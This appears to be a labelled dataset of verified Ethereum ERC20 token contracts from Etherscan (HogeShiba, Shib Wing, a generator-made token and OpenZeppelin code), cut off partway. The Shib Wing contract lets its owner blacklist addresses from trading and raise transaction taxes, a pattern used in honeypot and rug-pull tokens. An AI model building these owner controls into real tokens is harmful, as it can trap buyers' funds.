*Submitted for verification at Etherscan.io on 2021-05-11
*/
pragma solidity ^0.5.0;
contract ERC20Interface {
function totalSupply() public view returns (uint);
function balanceOf(address tokenOwner) public view returns (uint balance);
function allowance(address tokenOwner, address spender) public view returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
// ----------------------------------------------------------------------------
// Safe Math Library
// ----------------------------------------------------------------------------
contract SafeMath {
function safeAdd(uint a, uint b) public pure returns (uint c) {
c = a + b;
require(c >= a);
}
function safeSub(uint a, uint b) public pure returns (uint c) {
require(b <= a); c = a - b; } function safeMul(uint a, uint b) public pure returns (uint c) { c = a * b; require(a == 0 || c / a == b); } function safeDiv(uint a, uint b) public pure returns (uint c) { require(b > 0);
c = a / b;
}
}
contract HogeShiba is ERC20Interface, SafeMath {
string public name;
string public symbol;
uint8 public decimals; // 18 decimals is the strongly suggested default, avoid changing it
uint256 public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
constructor() public {
name = "HogeShiba";
symbol = "SHIBH";
decimals = 18;
_totalSupply = 1000000000000000000000000000000;
balances[msg.sender] = 1000000000000000000000000000000;
emit Transfer(address(0), msg.sender, _totalSupply);
}
function totalSupply() public view returns (uint) {
return _totalSupply - balances[address(0)];
}
function balanceOf(address tokenOwner) public view returns (uint balance) {
return balances[tokenOwner];
}
function allowance(address tokenOwner, address spender) public view returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(from, to, tokens);
return true;
}
} | True | [
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/**
*Submitted for verification at Etherscan.io on 2022-03-03
*/
/*
$SHIBWING
Website:
https://shibwing.com/
Tg:
https://t.me/shibwing
Twitter:
https://twitter.com/shib_wing
Launch Cap - 10k
Max transaction - 1%
*/
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract shibwingeth is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1_000_000_000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
uint256 private _sellTax;
uint256 private _buyTax;
address payable private _feeAddress;
string private constant _name = "Shib Wing";
string private constant _symbol = "SHIBWING";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private removeMaxTx = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddress = payable(0xaBB812558E60F32266Dfd8143E17D1420Ed895e2);
_buyTax = 12;
_sellTax = 12;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setremoveMaxTx(bool onoff) external onlyOwner() {
removeMaxTx = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!bots[from]);
if (!_isExcludedFromFee[from]
&& !_isExcludedFromFee[to] ) {
_feeAddr1 = 0;
_feeAddr2 = _buyTax;
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && removeMaxTx) {
require(amount <= _maxTxAmount);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_feeAddr1 = 0;
_feeAddr2 = _sellTax;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_feeAddress.transfer(amount);
}
function createPair() external onlyOwner(){
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
}
function openTrading() external onlyOwner() {
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
removeMaxTx = true;
_maxTxAmount = 10_000_000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() public onlyOwner() {
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() public onlyOwner() {
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _setMaxTxAmount(uint256 maxTxAmount) external onlyOwner() {
if (maxTxAmount > 10_000_000 * 10**9) {
_maxTxAmount = maxTxAmount;
}
}
function _setSellTax(uint256 sellTax) external onlyOwner() {
if (sellTax < 31) {
_sellTax = sellTax;
}
}
function setBuyTax(uint256 buyTax) external onlyOwner() {
if (buyTax < 31) {
_buyTax = buyTax;
}
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
} | True | [
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/**
*Submitted for verification at Etherscan.io on 2021-05-27
*/
// SPDX-License-Identifier: MIT
/*
* Token has been generated for FREE using https://vittominacori.github.io/erc20-generator/
*
* NOTE: "Contract Source Code Verified (Similar Match)" means that this Token is similar to other tokens deployed
* using the same generator. It is not an issue. It means that you won't need to verify your source code because of
* it is already verified.
*
* DISCLAIMER: GENERATOR'S AUTHOR IS FREE OF ANY LIABILITY REGARDING THE TOKEN AND THE USE THAT IS MADE OF IT.
* The following code is provided under MIT License. Anyone can use it as per their needs.
* The generator's purpose is to make people able to tokenize their ideas without coding or paying for it.
* Source code is well tested and continuously updated to reduce risk of bugs and to introduce language optimizations.
* Anyway the purchase of tokens involves a high degree of risk. Before acquiring tokens, it is recommended to
* carefully weighs all the information and risks detailed in Token owner's Conditions.
*/
// File: @openzeppelin/contracts/token/ERC20/IERC20.sol
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: @openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol
pragma solidity ^0.8.0;
/**
* @dev Interface for the optional metadata functions from the ERC20 standard.
*
* _Available since v4.1._
*/
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
// File: @openzeppelin/contracts/utils/Context.sol
pragma solidity ^0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// File: @openzeppelin/contracts/token/ERC20/ERC20.sol
pragma solidity ^0.8.0;
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The defaut value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
_approve(sender, _msgSender(), currentAllowance - amount);
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
_balances[sender] = senderBalance - amount;
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
_balances[account] = accountBalance - amount;
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
// File: contracts/service/ServicePayer.sol
pragma solidity ^0.8.0;
interface IPayable {
function pay(string memory serviceName) external payable;
}
/**
* @title ServicePayer
* @dev Implementation of the ServicePayer
*/
abstract contract ServicePayer {
constructor (address payable receiver, string memory serviceName) payable {
IPayable(receiver).pay{value: msg.value}(serviceName);
}
}
// File: contracts/utils/GeneratorCopyright.sol
pragma solidity ^0.8.0;
/**
* @title GeneratorCopyright
* @author ERC20 Generator (https://vittominacori.github.io/erc20-generator)
* @dev Implementation of the GeneratorCopyright
*/
contract GeneratorCopyright {
string private constant _GENERATOR = "https://vittominacori.github.io/erc20-generator";
string private _version;
constructor (string memory version_) {
_version = version_;
}
/**
* @dev Returns the token generator tool.
*/
function generator() public pure returns (string memory) {
return _GENERATOR;
}
/**
* @dev Returns the token generator version.
*/
function version() public view returns (string memory) {
return _version;
}
}
// File: contracts/token/ERC20/SimpleERC20.sol
pragma solidity ^0.8.0;
/**
* @title SimpleERC20
* @author ERC20 Generator (https://vittominacori.github.io/erc20-generator)
* @dev Implementation of the SimpleERC20
*/
contract SimpleERC20 is ERC20, ServicePayer, GeneratorCopyright("v5.0.1") {
constructor (
string memory name_,
string memory symbol_,
uint256 initialBalance_,
address payable feeReceiver_
)
ERC20(name_, symbol_)
ServicePayer(feeReceiver_, "SimpleERC20")
payable
{
require(initialBalance_ > 0, "SimpleERC20: supply cannot be zero");
_mint(_msgSender(), initialBalance_);
}
} | True | [
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/**
*Submitted for verification at Etherscan.io on 2021-06-11
*/
// File: @openzeppelin/contracts/utils/Context.sol
pragma solidity ^0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// File: @openzeppelin/contracts/token/ERC20/IERC20.sol
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: @openzeppelin/contracts/token/ERC20/ERC20.sol
pragma solidity ^0.8.0;
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20 {
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The defaut value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overloaded;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
